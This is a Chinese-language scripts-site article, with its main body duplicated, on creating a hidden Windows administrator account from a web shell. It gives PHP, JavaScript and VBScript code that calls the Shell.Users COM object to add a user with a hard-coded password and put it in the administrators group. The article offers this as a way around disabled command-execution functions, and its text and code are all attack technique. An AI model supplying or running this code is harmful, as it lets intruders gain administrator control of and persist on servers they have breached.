php版shell.users加管理員帳號的方法
發(fā)布日期:2022-01-31 08:52 | 文章來源:腳本之家
當(dāng) php執(zhí)行命令的函數(shù)如exec,system,shell_exec,proc_open,passthru,popen
以及wscript.shell 組建被禁用的情況下,這也許是一個(gè)機(jī)會(huì)。
代碼如下:
<?php
echo "<div align=center><b>PHP 版Shell.Users加管理員帳號</b></div>";
$username="IceSkin";
$password="skin.com";
$su = new COM("Shell.Users");
$h=$su->create($username);
$h->changePassword($password,"");
$h->setting["AccountType"] = 3;//這句很重要可以把用戶加入administrators 組,
?>
對apache 搭建的Web 服務(wù)器可以執(zhí)行成功,IIS 好像權(quán)限不夠,nginx 和lighttpd 搭建的web 服務(wù)器還沒有測試。
下面是 LCX 的代碼
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
vbs:
Set o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
hi.baidu.com/南拳daddy
以及wscript.shell 組建被禁用的情況下,這也許是一個(gè)機(jī)會(huì)。
代碼如下:
復(fù)制代碼
代碼如下:<?php
echo "<div align=center><b>PHP 版Shell.Users加管理員帳號</b></div>";
$username="IceSkin";
$password="skin.com";
$su = new COM("Shell.Users");
$h=$su->create($username);
$h->changePassword($password,"");
$h->setting["AccountType"] = 3;//這句很重要可以把用戶加入administrators 組,
?>
對apache 搭建的Web 服務(wù)器可以執(zhí)行成功,IIS 好像權(quán)限不夠,nginx 和lighttpd 搭建的web 服務(wù)器還沒有測試。
下面是 LCX 的代碼
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
vbs:
Set o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
hi.baidu.com/南拳daddy
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
相關(guān)文章
關(guān)注官方微信